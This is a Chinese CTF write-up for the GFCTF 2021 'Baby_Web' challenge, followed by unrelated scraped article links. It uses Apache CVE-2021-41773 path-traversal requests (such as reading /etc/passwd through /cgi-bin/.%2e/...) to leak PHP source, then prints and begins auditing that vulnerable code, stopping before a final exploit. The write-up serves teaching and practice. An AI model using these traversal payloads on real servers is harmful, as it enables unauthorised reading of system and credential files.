[GFCTF 2021]web部分题解(更新中ing)
[GFCTF 2021]Baby_Web
拿源码环节:
打开环境(◡ᴗ◡✿)

乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”

这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接展示一下扫描结果,收到了一部分新师傅的私信说之前的题解虽然讲了在那些题目下Kali,bp的使用方法但是没说具体的,后边会单独出教程的T-T这里就不多说了)

这里出现了几个很重要的关键词“cgi-bin”“.%2e”想到了之前偶然间看到的两篇博客:“CVE-2021-41773--Jay 17”“Apache httpd CVE-2021-41773 漏洞分析”简单来说就是:在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时, ap_normalize_path()函数会对路径参数先进行 url 解码,然后判断是否存在 ../路径穿越符。结果就是如果路径中存在 %2e./形式,程序就会检测到路径穿越符。然而,当出现 .%2e 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。那么就可以活用到这道题目。
打开BP,本地环境修改以后刷新网页进行抓包(ρ_・).。:

在发包界面点击Repeater,进入可修改发包界面,在url栏修改代码然后发包:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

代码形式参考kali扫描结果!^_~

修改成下图:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

可以看到已经可以有目录了,那么开始想既然当前目录是/var/www/html,那上层就是/var/www/想起来刚才说源码在xxx.php.txt那应该有最原始的index吧?O.o,先做尝试?
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

有了!ヾ(^▽^*))) index.php长这样!
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
看了一下源码!Class.php?好啊,看来同目录下还有个这个那直接找一下,刚才的文件叫“xxx.php.txt”这个也一样喽?
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

Class.php长这样!
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
我了个豆T.T,这么长啊打开Vscode建在一个工程下

开始审计代码。。。┭┮﹏┭┮
index.php
先分析一下
首先,这里调用了Temp作为类,并构造方式传参,传参方式是POST。然后调用了Temp中Display作为方式传,Get形式提交filename
代码放这里对照看一下

Class.php
1.先看一下“temp”类吧:
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
可以看到用了array_merge()函数,简单介绍一下吧:array_merge()出现时,则合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名则合并后为参数2数组中对应键的值,发生了覆盖。(造成变量覆)盖然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
这里附上php手册上的例子:

2.往下分析display:
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
可以看出来有两个魔术方法分别是“extract()”以及“include()”那么直接查手册得到这两个方法含义:
extract():从数组中将变量导入到当前的符号表。
include():包含一个文件。
3.再看getTempName():
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
可以看到句子意思是:如果传入getTempName()中形参dir是admin,那么就对template的属性:
$this->template
进行一个拼接,拼接过程为属性,同时进行替换过滤。过滤内容为:
'..','','./template/admin/'
其中
is_file()用于检查是否是文件。
4.最后检查一下listdata():
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
trim():去除字符串首尾处的空白字符。in_array():检查数组中是否存在某个值。
foreach():遍历给定的数组。
strpos():查找字符串首次出现的位置
function_exists():如果给定的函数已经被定义就返回“ture”
intval():获取变量的整数值
call_user_func_array():call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func():第一个参数是被调用的回调函数,其余参数是回调函数的参数。
json_encode():进行json格式的加密
explode():根据指定的分隔符将一个字符串拆分为一个数组的子字符串。比如说原来$ _ params=“1 2 3 E”,explode处理后为$params=[“1”,“2”,“3”,“E”]
[GFCTF 2021]web部分题解(更新中ing)的更多相关文章
- spring web 脚手架 (持续更新中...)
spring web 脚手架 项目地址: https://github.com/MengW9/scafflod.git 还有觉得哪些可以加上去的配置,欢迎各位拍砖,我会持续更新,大家共同进步 一个通用 ...
- [原创]标记下Kendo使用中的问题, 持续更新中ing.....
使用kendo UI 遇到的问题: 1. Kendo DropdownList 加载完毕后, 显示 [object object]的问题: 解决: 尝试了添加dataTextField.dataVal ...
- LeetCode All in One题解汇总(持续更新中...)
突然很想刷刷题,LeetCode是一个不错的选择,忽略了输入输出,更好的突出了算法,省去了不少时间. dalao们发现了任何错误,或是代码无法通过,或是有更好的解法,或是有任何疑问和建议的话,可以在对 ...
- PTA|团体程序设计天梯赛-练习题目题解锦集(C/C++)(持续更新中……)
PTA|团体程序设计天梯赛-练习题目题解锦集(持续更新中) 实现语言:C/C++: 欢迎各位看官交流讨论.指导题解错误:或者分享更快的方法!! 题目链接:https://pintia.cn/ ...
- 【前端】Util.js-ES6实现的常用100多个javaScript简短函数封装合集(持续更新中)
Util.js (持续更新中...) 项目地址: https://github.com/dragonir/Util.js 项目描述 Util.js 是对常用函数的封装,方便在实际项目中使用,主要内容包 ...
- java视频教程 Java自学视频整理(持续更新中...)
视频教程,马士兵java视频教程,java视频 1.Java基础视频 <张孝祥JAVA视频教程>完整版[RMVB](东西网) 历经5年锤炼(史上最适合初学者入门的Java基础视频)(传智播 ...
- (转) Web 建站技术中,HTML、HTML5、XHTML、CSS、SQL、JavaScript、PHP、ASP.NET、Web Services 是什么?
Web 建站技术中,HTML.HTML5.XHTML.CSS.SQL.JavaScript.PHP.ASP.NET.Web Services 是什么? 建站有很多技术,如 HTML.HTML5.XHT ...
- 《WCF技术剖析》博文系列汇总[持续更新中]
原文:<WCF技术剖析>博文系列汇总[持续更新中] 近半年以来,一直忙于我的第一本WCF专著<WCF技术剖析(卷1)>的写作,一直无暇管理自己的Blog.在<WCF技术剖 ...
- 第一章:大数据 の Linux 基础 [更新中]
本课主题 Linux 休系结构图 Linux 系统启动的顺序 Linux 查看内存和 CPU 指令 环境变量加载顺序 Linux 内存结构 Linux 休系结构图 Linux 大致分为三个层次,第一层 ...
- 中国.NET:各地微软技术俱乐部汇总(持续更新中...)
中国.NET:各地微软技术俱乐部汇总(持续更新中...) 本文是转载文,源地址: https://www.cnblogs.com/panchun/p/JLBList.html by 史记微软. ...
随机推荐
- 路径规划算法 - 求解最短路径 - Dijkstra(迪杰斯特拉)算法
Dijkstra(迪杰斯特拉)算法的思想是广度优先搜索(BFS) 贪心策略. 是从一个顶点到其余各顶点的最短路径算法,节点边是不各自不同的权重,但都必须是正数 如果是负数,则需要 Bellman-Fo ...
- 基于Qt的Live2D模型显示以及控制
基于Qt的Live2D模型显示以及控制 基本说明 Live2D官方提供有控制Live2D模型的SDK,而且还提供了一个基于OpenGL的C++项目Example,我们可以基于该项目改成Qt的项目,做一 ...
- 2023年的PHP项目部署笔记。什么?还有人用PHP?
前言 这是我第一次用 PHP 的包管理工具 composer 一开始用 docker 进行部署,但一直出问题,最后还是选择直接在服务器上安装 php-fpm 搭配 nginx 的方案了. PS:doc ...
- 【matlab混沌理论】1.5.洛伦兹模型的分析
洛伦兹方程用于生成y变量的图.这是对三种y初始条件敏感依赖的一个例子. 1.洛伦兹吸引子的y敏感依赖的着色图 input: % 洛伦兹方程用于生成y变量的图.x和z的初始条件保持不变,但y的初始条件在 ...
- IDEA配置自定义标签,实现高亮注释~
为什么要写这么一篇博客呢? 不知道大家有没有这样的一种苦恼,就是在写代码的时候遇到复杂的核心的代码,想加一个特殊的注释方便后期自己或者同事查看,但是这玩意IDEA好像只给我们提供了两个 FIXME : ...
- 【UniApp】-uni-app-自定义组件
前言 经过上个章节的介绍,大家可以了解到 uni-app-网络请求的基本使用方法 那本章节来给大家介绍一下 uni-app-自定义组件 的基本使用方法 原本打算是直接写项目的,在写项目之前还有个内容需 ...
- 劫持最新版 QQNT / QQ / TIM 客户端 ClientKeys
针对 腾讯官网 最新发布的 QQNT 9.9.6 与 QQ 9.7.21 新版本客户端全面更新截取代码 大伙应该都知道自从 QQ 9.7.20 版本起就已经不能通过模拟网页快捷登录来截取 Uin 跟 ...
- 七天.NET 8操作SQLite入门到实战 - 第七天BootstrapBlazor UI组件库引入(1)
前言 由于第七天Blazor前端页面编写和接口对接的内容比较的多,所以这一章节将会分为三篇文章来进行讲解,大家可以认为分为早.中.晚来进行阶段性学习,从而提高学习效率. 七天.NET 8 操作 SQL ...
- windows环境下如何优雅搭建ftp服务?
目录 0. 前言 1.ftp简介 2.下载Apache FTPServer 3.下载并解压压缩包 4.修改配置文件 4.1 修改users.properties配置文件 4.2 修改ftpd-typi ...
- 异步、多线程、Await/Async、Task
异步多线程经常被拿来说事,网上文章也是多如牛毛,我也是停留在很菜的水平,痛下决心好好"恶补"一下这块知识. 还是先放两个官方文档压压惊:使用 Async 和 Await 的异步编程 ...